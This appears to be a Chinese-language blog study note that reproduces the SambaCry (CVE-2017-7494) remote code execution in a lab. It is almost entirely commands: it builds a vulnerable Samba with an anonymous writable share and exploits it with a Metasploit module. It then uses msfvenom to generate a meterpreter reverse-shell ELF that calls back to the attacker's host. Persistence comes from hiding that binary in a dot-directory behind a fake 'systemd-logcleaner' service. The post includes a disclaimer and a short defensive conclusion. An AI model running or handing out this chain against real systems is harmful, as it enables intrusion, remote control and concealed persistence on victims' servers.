当前位置:首页>Linux>【学习笔记】利用Samba漏洞打造Linux系统的“永恒之蓝”

【学习笔记】利用Samba漏洞打造Linux系统的“永恒之蓝”

  • 2026-09-29 16:29:38
【学习笔记】利用Samba漏洞打造Linux系统的“永恒之蓝”

声明:文中涉及到的技术和工具,仅供学习使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。


SambaCry(CVE-2017-7494)是 Samba 网络文件共享服务中的一个严重远程代码执行漏洞,因其与 Windows 的“永恒之蓝”漏洞在影响力上相似,常被称为 Linux 版的“永恒之蓝”。

漏洞利用实验

漏洞原理

该漏洞存在于 Samba 3.5.0 至 4.6.4 版本中。攻击者可以利用 Samba 服务的 IPC 命名管道机制,通过路径遍历(Path Traversal)上传恶意共享库文件(.so),并诱导服务加载执行,从而获取服务器的最高权限(root)。

实验环境

攻击机:Kali Linux

靶机:Ubuntu 存在漏洞的 Samba 服务(版本 3.5.0 - 4.6.4)
漏洞环境搭建(靶机构建)

要在 Linux 上复现该漏洞,需要手动搭建一个包含漏洞版本的 Samba 服务。

1. 安装编译依赖

sudo apt updatesudo apt install build-essential python-dev libacl1-dev libldap2-dev

2. 下载并解压 Samba 4.6.3

wget https://download.samba.org/pub/samba/stable/samba-4.6.3.tar.gztar -xzf samba-4.6.3.tar.gzcd samba-4.6.3

3. 配置、编译、安装

./configure --without-ad-dc --without-systemdsudo make -j4sudo make install

4. 配置共享

sudo mkdir -p /tmp/sambasudo chmod 777 /tmp/samba
5. 配置 Samba 共享(开启匿名写权限)
编辑配置文件 /usr/local/samba/etc/smb.conf,添加以下内容以创建一个匿名可写的共享目录:
[global]    map to guest = Bad User    server role = standalone server    usershare allow guests = yes    log file = /usr/local/samba/var/log.smbd[anonymous]    path = /tmp/samba    browseable = yes    writable = yes    guest ok = yes    guest only = yes    read only = no    force user = nobody

6. 启动 Samba

sudo /usr/local/samba/sbin/smbd -D

7. 确认版本

/usr/local/samba/sbin/smbd --version
漏洞利用与渗透攻击

1. 启动 Metasploit Framework

msfconsole

2. 查找并加载漏洞模块

search CVE-2017-7494## use 0 use exploit/linux/samba/is_known_pipename

3. 配置攻击参数

set RHOSTS 192.168.65.131set SMB_SHARE_NAME anonymousset SMB_FOLDER /tmp/samba

3. 执行攻击

exploit

漏后渗透:生成反弹shell程序并上传

1. 生成反弹shell程序

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.65.129 LPORT=9999 -f elf> shell.elf

2. 上传反弹shell程序

upload shell.elf /home/enjoy/Downloads/shell.elf

3. 设置文件权限

sudo chmod 777 shell.elf

漏后渗透:Systemd 伪装服务(持久化)

1.  放置隐蔽目录

sudo mkdir -p /usr/local/lib/.syslogsudo cp /home/enjoy/Downloads/shell.elf /usr/local/lib/.syslog/helpersudo chmod +x /usr/local/lib/.syslog/helper

2. 创建 systemd 服务文件

sudo nano /etc/systemd/system/systemd-logcleaner.service

3. 写入以下内容:

[Unit]Description=System Log Cleaning ServiceAfter=network.target[Service]ExecStart=/usr/local/lib/.syslog/helperWorkingDirectory=/usr/local/lib/.syslogRestart=alwaysRestartSec=30StandardOutput=journalStandardError=journal[Install]WantedBy=multi-user.target
4. 启用并启动服务
# 重载 systemd 配置sudo systemctl daemon-reload# 设置开机自启sudo systemctl enable systemd-logcleaner.service# 立即启动sudo systemctl start systemd-logcleaner.service

5. 查看服务状态

systemctl status systemd-logcleaner.service

6. 再去kali上设置并打开监听(这个也可以放到第一步)

msfconsoleuse exploit/multi/handlerset PAYLOAD linux/x64/meterpreter/reverse_tcpset LHOST 192.168.65.129set LPORT 9999run

总结

Linux 版的“永恒之蓝”(SambaCry)不仅展示了远程代码执行的威力,更揭示了 Linux 环境下 Systemd 伪装服务结合的隐蔽持久化威胁。通过复现此漏洞,我们可以深刻理解从漏洞利用到权限维持的全链路攻击手法,从而更好地制定防御策略。


最新文章

随机文章